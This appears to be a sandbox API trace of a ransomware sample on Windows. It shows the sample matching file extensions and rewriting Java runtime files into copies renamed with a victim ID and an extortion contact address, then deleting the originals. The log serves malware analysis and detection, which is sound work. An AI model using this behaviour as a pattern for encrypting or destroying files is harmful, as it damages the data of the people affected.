	[0146.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.479] lstrlenW (lpString=".zip") returned 4
	[0146.479] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0146.479] lstrlenW (lpString=".rar") returned 4
	[0146.479] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0146.479] lstrlenW (lpString=".bz2") returned 4
	[0146.479] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0146.479] lstrlenW (lpString=".7z") returned 3
	[0146.479] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0146.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.479] lstrlenW (lpString=".dbf") returned 4
	[0146.479] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0146.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.479] lstrlenW (lpString=".1cd") returned 4
	[0146.479] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0146.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.479] lstrlenW (lpString=".jpg") returned 4
	[0146.479] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0146.479] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0146.480] lstrlenW (lpString="jfr.jar") returned 7
	[0146.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0146.480] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=560581) returned 1
	[0146.480] CloseHandle (hObject=0x54c) returned 1
	[0146.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20
	[0146.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0146.481] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.481] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0146.482] GetLastError () returned 0x0
	[0146.482] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x88dc5, lpOverlapped=0x0) returned 1
	[0146.760] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x88dd0, lpOverlapped=0x0) returned 1
	[0146.808] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.808] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0146.808] SetEndOfFile (hFile=0x544) returned 1
	[0146.809] CloseHandle (hObject=0x544) returned 1
	[0146.809] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.809] SetEndOfFile (hFile=0x54c) returned 1
	[0147.192] CloseHandle (hObject=0x54c) returned 1
	[0147.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1
	[0147.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.194] lstrlenW (lpString=".doc") returned 4
	[0147.194] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.194] lstrlenW (lpString=".docx") returned 5
	[0147.194] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0147.194] lstrlenW (lpString=".pdf") returned 4
	[0147.194] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.194] lstrlenW (lpString=".xls") returned 4
	[0147.194] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.194] lstrlenW (lpString=".xlsx") returned 5
	[0147.194] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0147.194] lstrlenW (lpString=".ppt") returned 4
	[0147.194] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.194] lstrlenW (lpString=".zip") returned 4
	[0147.194] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.194] lstrlenW (lpString=".rar") returned 4
	[0147.194] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.195] lstrlenW (lpString=".bz2") returned 4
	[0147.195] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.195] lstrlenW (lpString=".7z") returned 3
	[0147.195] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.195] lstrlenW (lpString=".dbf") returned 4
	[0147.195] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.195] lstrlenW (lpString=".1cd") returned 4
	[0147.195] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.195] lstrlenW (lpString=".jpg") returned 4
	[0147.195] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.195] lstrlenW (lpString=".doc") returned 4
	[0147.195] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.195] lstrlenW (lpString=".docx") returned 5
	[0147.195] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0147.195] lstrlenW (lpString=".pdf") returned 4
	[0147.195] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.196] lstrlenW (lpString=".xls") returned 4
	[0147.196] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.196] lstrlenW (lpString=".xlsx") returned 5
	[0147.196] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0147.196] lstrlenW (lpString=".ppt") returned 4
	[0147.196] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.196] lstrlenW (lpString=".zip") returned 4
	[0147.196] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.196] lstrlenW (lpString=".rar") returned 4
	[0147.196] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.196] lstrlenW (lpString=".bz2") returned 4
	[0147.196] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.196] lstrlenW (lpString=".7z") returned 3
	[0147.196] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.196] lstrlenW (lpString=".dbf") returned 4
	[0147.196] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.196] lstrlenW (lpString=".1cd") returned 4
	[0147.196] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0147.196] lstrlenW (lpString=".jpg") returned 4
	[0147.196] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.197] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0147.197] lstrlenW (lpString="management-agent.jar") returned 20
	[0147.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0147.197] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=381) returned 1
	[0147.197] CloseHandle (hObject=0x54c) returned 1
	[0147.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20
	[0147.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0147.198] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.198] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.199] GetLastError () returned 0x0
	[0147.199] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x17d, lpOverlapped=0x0) returned 1
	[0147.200] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x180, lpOverlapped=0x0) returned 1
	[0147.201] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.201] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xfc, lpOverlapped=0x0) returned 1
	[0147.215] SetEndOfFile (hFile=0x52c) returned 1
	[0147.215] CloseHandle (hObject=0x52c) returned 1
	[0147.215] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.215] SetEndOfFile (hFile=0x54c) returned 1
	[0147.755] CloseHandle (hObject=0x54c) returned 1
	[0147.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.052] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1
	[0148.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.751] lstrlenW (lpString=".doc") returned 4
	[0148.751] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.751] lstrlenW (lpString=".docx") returned 5
	[0148.751] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0148.751] lstrlenW (lpString=".pdf") returned 4
	[0148.751] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.751] lstrlenW (lpString=".xls") returned 4
	[0148.751] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.751] lstrlenW (lpString=".xlsx") returned 5
	[0148.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0148.751] lstrlenW (lpString=".ppt") returned 4
	[0148.751] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.751] lstrlenW (lpString=".zip") returned 4
	[0148.751] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.752] lstrlenW (lpString=".rar") returned 4
	[0148.752] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.752] lstrlenW (lpString=".bz2") returned 4
	[0148.752] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.752] lstrlenW (lpString=".7z") returned 3
	[0148.752] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.752] lstrlenW (lpString=".dbf") returned 4
	[0148.752] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.752] lstrlenW (lpString=".1cd") returned 4
	[0148.752] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.752] lstrlenW (lpString=".jpg") returned 4
	[0148.752] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.752] lstrlenW (lpString=".doc") returned 4
	[0148.752] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.752] lstrlenW (lpString=".docx") returned 5
	[0148.752] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0148.752] lstrlenW (lpString=".pdf") returned 4
	[0148.752] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.752] lstrlenW (lpString=".xls") returned 4
	[0148.752] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.753] lstrlenW (lpString=".xlsx") returned 5
	[0148.753] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0148.753] lstrlenW (lpString=".ppt") returned 4
	[0148.753] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.753] lstrlenW (lpString=".zip") returned 4
	[0148.753] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.753] lstrlenW (lpString=".rar") returned 4
	[0148.753] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.753] lstrlenW (lpString=".bz2") returned 4
	[0148.753] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.753] lstrlenW (lpString=".7z") returned 3
	[0148.753] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.753] lstrlenW (lpString=".dbf") returned 4
	[0148.753] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.753] lstrlenW (lpString=".1cd") returned 4
	[0148.753] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0148.753] lstrlenW (lpString=".jpg") returned 4
	[0148.753] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.754] lstrcmpiW (lpString1=".certs", lpString2=".yG") returned -1
	[0148.754] lstrlenW (lpString="blacklisted.certs") returned 17
	[0148.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0148.982] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=1253) returned 1
	[0148.982] CloseHandle (hObject=0x51c) returned 1
	[0148.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20
	[0148.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0148.983] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.983] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0148.984] GetLastError () returned 0x0
	[0148.984] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4e5, lpOverlapped=0x0) returned 1
	[0148.992] WriteFile (in: hFile=0x54c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0148.993] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.993] WriteFile (in: hFile=0x54c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xf6, lpOverlapped=0x0) returned 1
	[0148.994] SetEndOfFile (hFile=0x54c) returned 1
	[0148.994] CloseHandle (hObject=0x54c) returned 1
	[0148.994] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.994] SetEndOfFile (hFile=0x51c) returned 1
	[0148.997] CloseHandle (hObject=0x51c) returned 1
	[0148.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.997] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1
	[0148.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.998] lstrlenW (lpString=".doc") returned 4
	[0148.998] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0148.998] lstrlenW (lpString=".docx") returned 5
	[0148.998] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0148.999] lstrlenW (lpString=".pdf") returned 4
	[0148.999] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString=".xls") returned 4
	[0148.999] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString=".xlsx") returned 5
	[0148.999] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0148.999] lstrlenW (lpString=".ppt") returned 4
	[0148.999] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.999] lstrlenW (lpString=".zip") returned 4
	[0148.999] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString=".rar") returned 4
	[0148.999] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString=".bz2") returned 4
	[0148.999] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString=".7z") returned 3
	[0148.999] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0148.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.999] lstrlenW (lpString=".dbf") returned 4
	[0148.999] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.999] lstrlenW (lpString=".1cd") returned 4
	[0148.999] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0148.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0148.999] lstrlenW (lpString=".jpg") returned 4
	[0148.999] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0149.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0149.000] lstrlenW (lpString=".doc") returned 4
	[0149.000] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".docx") returned 5
	[0149.000] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0149.000] lstrlenW (lpString=".pdf") returned 4
	[0149.000] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".xls") returned 4
	[0149.000] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".xlsx") returned 5
	[0149.000] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0149.000] lstrlenW (lpString=".ppt") returned 4
	[0149.000] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0149.000] lstrlenW (lpString=".zip") returned 4
	[0149.000] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".rar") returned 4
	[0149.000] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".bz2") returned 4
	[0149.000] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString=".7z") returned 3
	[0149.000] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0149.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0149.000] lstrlenW (lpString=".dbf") returned 4
	[0149.000] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0149.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0149.001] lstrlenW (lpString=".1cd") returned 4
	[0149.001] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0149.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
